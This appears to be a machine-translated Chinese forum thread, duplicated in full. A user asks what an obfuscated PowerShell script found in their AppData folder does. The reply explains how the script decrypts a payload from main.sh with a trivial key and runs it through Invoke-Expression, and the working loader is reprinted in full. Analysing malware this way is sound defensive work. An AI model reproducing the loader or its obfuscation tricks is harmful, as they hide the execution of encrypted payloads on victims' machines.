Windows PowerShell 恶意脚本
Windows PowerShell Malicious script
我在 %appdata%Roaming 的文件夹中找到了这段代码:(
谁能告诉我它有什么作用?
try{Get-Transaction:Test-Connection
New-WindowsImage:Register-ArgumentCompleter
Get-HgsTrace:Set-VMMigrationNetwork}catch{
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
try{Save-VM:Get-Variable
Set-RuleOption:Get-WindowsSearchSetting
Remove-PSReadLineKeyHandler:Remove-VMResourcePool}catch{}
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);
$HXZBX=[System.Runtime.InteropServices.Marshal]
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
谢谢!
让我们看看。第一个 try-catch
可能是为了避免粗略检查而混淆。关键点(双关语)在 catch
块中。它包含有效负载,因此 try
块旨在引发异常。
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" `
-replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
该变量包含混淆词powershell
,通过将大量无意义的字符串替换为空来揭示。 -replce
带有搜索参数但没有替换参数,因此它只是删除填充符 IoG, ZsvjJ...
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);
这里Get-Process
用来判断Powershell是否运行ning。如果没有多个进程 运行,创建一个包含值 1-16 的数组。这可能是为了避免交互式会话处于活动状态的情况。
$HXZBX=[System.Runtime.InteropServices.Marshal]
为 InterOpServices 的 Marshal 创建一个别名。这里没有什么麻烦,合法的用途是节省输入和读取长名称空间描述符的时间。
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
已读取文件 main.sh
。它包含一个 SecureString,使用密钥 1,2,3...,15,16 加密。
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
SecureString 负载转换为 BSTR。我猜这是 。
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
另一个“让我们隐藏在catch块中”,它设置了一个带有废话内容的变量。不知道为什么。
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
另一个解密步骤,然后在另一个 try-catch
块中出现奇怪的东西,没有明显的意图。
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
对 SecureString 转换的最终有效负载进行过滤以消除混淆,并将结果传递给 Invoke-Expression
以供执行。
要查看有效负载是什么,请按照 Jeramy 的评论进行操作。将变量名称替换为更具描述性:
$key=@(1..16)
$encryptedStr = Get-Content "main.sh"
$secString = ConvertTo-SecureString $encryptedStr -key $key
$bstrPtr = $HXZBX::SecureStringToBSTR($secString)
$obfuscatedStr = $HXZBX::PtrToStringAuto($bstrPtr)
$obfuscatedStr -replace "UGSttylIkwIFr"
我在 %appdata%Roaming 的文件夹中找到了这段代码:( 谁能告诉我它有什么作用?
try{Get-Transaction:Test-Connection
New-WindowsImage:Register-ArgumentCompleter
Get-HgsTrace:Set-VMMigrationNetwork}catch{
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
try{Save-VM:Get-Variable
Set-RuleOption:Get-WindowsSearchSetting
Remove-PSReadLineKeyHandler:Remove-VMResourcePool}catch{}
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);
$HXZBX=[System.Runtime.InteropServices.Marshal]
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
谢谢!
让我们看看。第一个 try-catch
可能是为了避免粗略检查而混淆。关键点(双关语)在 catch
块中。它包含有效负载,因此 try
块旨在引发异常。
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" `
-replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
该变量包含混淆词powershell
,通过将大量无意义的字符串替换为空来揭示。 -replce
带有搜索参数但没有替换参数,因此它只是删除填充符 IoG, ZsvjJ...
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=@(1..16);
这里Get-Process
用来判断Powershell是否运行ning。如果没有多个进程 运行,创建一个包含值 1-16 的数组。这可能是为了避免交互式会话处于活动状态的情况。
$HXZBX=[System.Runtime.InteropServices.Marshal]
为 InterOpServices 的 Marshal 创建一个别名。这里没有什么麻烦,合法的用途是节省输入和读取长名称空间描述符的时间。
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
已读取文件 main.sh
。它包含一个 SecureString,使用密钥 1,2,3...,15,16 加密。
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
SecureString 负载转换为 BSTR。我猜这是
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
另一个“让我们隐藏在catch块中”,它设置了一个带有废话内容的变量。不知道为什么。
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
另一个解密步骤,然后在另一个 try-catch
块中出现奇怪的东西,没有明显的意图。
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
对 SecureString 转换的最终有效负载进行过滤以消除混淆,并将结果传递给 Invoke-Expression
以供执行。
要查看有效负载是什么,请按照 Jeramy 的评论进行操作。将变量名称替换为更具描述性:
$key=@(1..16)
$encryptedStr = Get-Content "main.sh"
$secString = ConvertTo-SecureString $encryptedStr -key $key
$bstrPtr = $HXZBX::SecureStringToBSTR($secString)
$obfuscatedStr = $HXZBX::PtrToStringAuto($bstrPtr)
$obfuscatedStr -replace "UGSttylIkwIFr"